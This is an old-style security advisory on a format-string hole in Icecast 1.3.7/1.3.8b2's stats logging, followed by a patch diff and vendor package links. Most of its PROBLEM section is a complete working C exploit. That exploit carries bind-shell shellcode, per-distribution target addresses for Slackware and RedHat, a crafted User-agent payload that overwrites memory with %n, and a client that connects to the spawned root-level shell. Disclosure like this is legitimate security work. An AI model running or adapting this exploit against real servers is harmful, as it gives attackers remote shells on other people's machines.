COMMAND

    Icecast

SYSTEMS AFFECTED

    Icecast 1.3.8b2 and prior

PROBLEM

    'cyrax' found following.  This was tested on Linux/ix86 -  icecast
    1.3.7 (Slackware 7.0 - RedHat 7.0).  This remote vulnerablity that
    allows to  execute arbitrary  code with  the UID/GID  of the  user
    running icecast.

    Icecast  is  a  server  for  mp3  streaming.   In file utils.c the
    function fd_write is often used putting the string instead of  the
    format.

    Function print_client() in utility.c:

        void
        print_client(void *data, void *param)
        {
        [..]
        sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
        con->id, con_host (con), nice_time (get_time () - con->connect_time,timebuf), client->write_bytes, client_errors (client),
        get_user_agent (con), client->type == listener_e ? "listener"  : "relay");

                if (!param)
                        fd_write(info.statsfile, buf); <- BUGGED
                else
                        sock_write (*sock, "%s", buf);
        }

    Well.. exploitation is  not too simple.   You cannot directly  see
    the output of the fd_write.  You have to eat more than 2000 %x  of
    stack  to  reach  the  format  string.   Anyway..  author coded an
    exploit that worked on Slackware 7.0 and RedHat 7.0.

    Cause icecast is a multithread server, it can give you problem  on
    the  port  where  we  bind  the  shell. It sometimes write you the
    output  of  the  admin  console  or  other  strange  things.  If a
    commands you do is not executed try to rewrite it some times.   To
    resolve this  problem you  may want  to change  the shellcode to a
    add-user one.

    /* Exploits format string vulnerability in icecast 1.3.7
     * Coded by |CyRaX| <cyrax@pkcrew.org>
     * Packet Knights Crew http://www.pkcrew.org/
     *
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <netinet/in.h>

    char code[]=
    "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
    "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
    "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
    "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
    "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
    "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
    "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
    "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

    unsigned long ip;
    void try_it();

    struct target{
       char *name;
       char *addr1;
       char *addr2;
       char *addr3;
       char *addr4;
       u_short one;
       u_short two;
       u_short three;
       u_short xx;
       u_short pad;

    };

    int main(int argc,char **argv){
       int s,i,sel;
       struct sockaddr_in sk;
       char sndbuff[9000],xx[9000],one[300],two[300],three[300],nop[1000],pad[100];
       struct target tl[]={
	    {
               "icecast-1.3.7.tar.gz compiled on Slackware 7.0",
               "\x1c\xdb\x5f\xbf",
               "\x1d\xdb\x5f\xbf",
               "\x1e\xdb\x5f\xbf",
               "\x1f\xdb\x5f\xbf",
               123,
               136,
               96,
               2076,
               5
	    },
	    {
	       "icecast-1.3.7.tar.gz compiled on Redhat 7.0",
	       "\xd8\xd8\x5f\xbf",
	       "\xd9\xd8\x5f\xbf",
	       "\xda\xd8\x5f\xbf",
	       "\xdb\xd8\x5f\xbf",
	       116,
	       159,
	       96,
	       2074,
	       3
	    }
       };

       printf("Icecast 1.3.7 format bug exploit by |CyRaX| <cyrax@pkcrew.org\n");
       printf("Packet Knights Crew | http://www.pkcrew.org/\n");

       if(argc<4){
          printf("Usage : ./PKCicecast-ex <target> <port> <type>\n");
          printf("types are :\n");
          for(i=0;i<(sizeof(tl)/sizeof(struct target));i++){
	     printf("%2i : %s\n",i,tl[i].name);
          }
          exit(0);
       }

       sel=atoi(argv[3]);
       memset(sndbuff,0,9000);
       memset(xx,0,9000);
       memset(one,0,300);
       memset(two,0,300);
       memset(three,0,300);
       memset(pad,0,100);
       memset(nop,'\x90',1000);
       nop[1000]=0;

       s=socket(AF_INET,SOCK_STREAM,0);

       ip=inet_addr(argv[1]);
       sk.sin_addr.s_addr=ip;
       sk.sin_port=htons(atoi(argv[2]));
       sk.sin_family=AF_INET;
       connect(s,(struct sockaddr *)&sk,sizeof(sk));
       strcpy(sndbuff,"GET / HTTP/1.0\n");
       send(s,sndbuff,strlen(sndbuff),0);

       for(i=0;i<=(tl[sel].xx*3);i+=3){
          memcpy(xx+i,"%8x",3);
       }
       memset(one,'\x90',tl[sel].one);
       memset(two,'\x90',tl[sel].two);
       memset(three,'\x90',tl[sel].three);
       memcpy(one+strlen(one)-2,"\xeb\x02",2);
       memcpy(two+strlen(two)-2,"\xeb\x02",2);
       memcpy(three+strlen(three)-2,"\xeb\x02",2);
       memset(pad,'X',tl[sel].pad);
       sprintf(sndbuff,"User-agent: %s"
       "%s"
       "%s"
       "%s"
       "%s"
       "%s" /* the %8x */
       "%%n"
       "%s%%n"
       "%s%%n"
       "%s%%n"
       "%s"
       "%s\n\n"
       ,pad,tl[sel].addr1,tl[sel].addr2,tl[sel].addr3,tl[sel].addr4,
	       xx,one,two,three,nop,code);
       send(s,sndbuff,strlen(sndbuff),0);
       printf("We must sleep for 120 seconds. Waiting for icecast to do the statistic\n");
       alarm(120);
       signal(SIGALRM,try_it);
       while(1)recv(s,sndbuff,9000,0);
    }

    void try_it(){
       struct sockaddr_in sk;
       int s;
       char buff[1000];
       fd_set fs;

       printf("trying!\n");
       sk.sin_addr.s_addr=ip;
       sk.sin_port=htons(3879);
       sk.sin_family=AF_INET;
       s=socket(AF_INET,SOCK_STREAM,0);
       if(connect(s,(struct sock_addr*)&sk,sizeof(sk))==-1){
          printf("sorry.. it did'nt worked\n");
          exit(0);
       }
       strcpy(buff,"uname -a;id\n");
       send(s,buff,strlen(buff),0);
       while(1){
          memset(buff,0,1000);
          FD_ZERO(&fs);
          FD_SET(0,&fs);
          FD_SET(s,&fs);
          select(s+1,&fs,NULL,NULL,NULL);
          if(FD_ISSET(0,&fs)){
	     fgets(buff,1000,stdin);
	     send(s,buff,strlen(buff),0);
          }
          if(FD_ISSET(s,&fs)){
	     recv(s,buff,1000,0);
	     printf("%s",buff);
          }
       }

    }

SOLUTION

    Here is a patch for  icecast-1.3.7/src/utility.c.  This is just  a
    temporary solution.

    ---utility.c.diff---

    164c164
    < 		fd_write (info.statsfile,
    ---
    > 		fd_write (info.statsfile,"%s",
    201c201
    < 		fd_write (info.statsfile, buf);
    ---
    > 		fd_write (info.statsfile,"%s", buf);
    226c226
    < 		fd_write (info.statsfile, buf);
    ---
    > 		fd_write (info.statsfile,"%s", buf);
    260c260
    < 		fd_write (info.statsfile, buf);
    ---
    > 		fd_write (info.statsfile,"%s", buf);
    270c270
    < 		fd_write (info.statsfile, buf);
    ---
    > 		fd_write (info.statsfile, "%s",buf);
    328c328
    < 	sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
    ---
    > 	snprintf (buf, BUFSIZE,"Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
    333c333
    < 		fd_write(info.statsfile, buf);
    ---
    > 		fd_write(info.statsfile, "%s",buf);

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/icecast-1.3.7-4cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/icecast-1.3.7-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/icecast-1.3.7-4cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/icecast-1.3.7-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/icecast-1.3.7-4cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/icecast-1.3.7-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/icecast-1.3.7-4cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/icecast-1.3.7-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/icecast-1.3.7-3cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/icecast-1.3.7-3cl.i386.rpm

    For RedHat:

        ftp://updates.redhat.com/powertools/6.0/SRPMS/icecast-1.3.8.beta2-2.src.rpm
        ftp://updates.redhat.com/powertools/6.0/alpha/icecast-1.3.8.beta2-2.alpha.rpm
        ftp://updates.redhat.com/powertools/6.0/i386/icecast-1.3.8.beta2-2.i386.rpm
        ftp://updates.redhat.com/powertools/6.0/sparc/icecast-1.3.8.beta2-2.sparc.rpm
        ftp://updates.redhat.com/powertools/6.1/SRPMS/icecast-1.3.8.beta2-2.src.rpm
        ftp://updates.redhat.com/powertools/6.1/alpha/icecast-1.3.8.beta2-2.alpha.rpm
        ftp://updates.redhat.com/powertools/6.1/i386/icecast-1.3.8.beta2-2.i386.rpm
        ftp://updates.redhat.com/powertools/6.1/sparc/icecast-1.3.8.beta2-2.sparc.rpm
        ftp://updates.redhat.com/powertools/6.2/SRPMS/icecast-1.3.8.beta2-2.src.rpm
        ftp://updates.redhat.com/powertools/6.2/alpha/icecast-1.3.8.beta2-2.alpha.rpm
        ftp://updates.redhat.com/powertools/6.2/i386/icecast-1.3.8.beta2-2.i386.rpm
        ftp://updates.redhat.com/powertools/6.2/sparc/icecast-1.3.8.beta2-2.sparc.rpm
        ftp://updates.redhat.com/powertools/7.0/SRPMS/icecast-1.3.8.beta2-3.src.rpm
        ftp://updates.redhat.com/powertools/7.0/alpha/icecast-1.3.8.beta2-3.alpha.rpm
        ftp://updates.redhat.com/powertools/7.0/i386/icecast-1.3.8.beta2-3.i386.rpm

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/audio/icecast-1.3.7_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/audio/icecast-1.3.7_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/audio/icecast-1.3.7_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/audio/icecast-1.3.7_1.tgz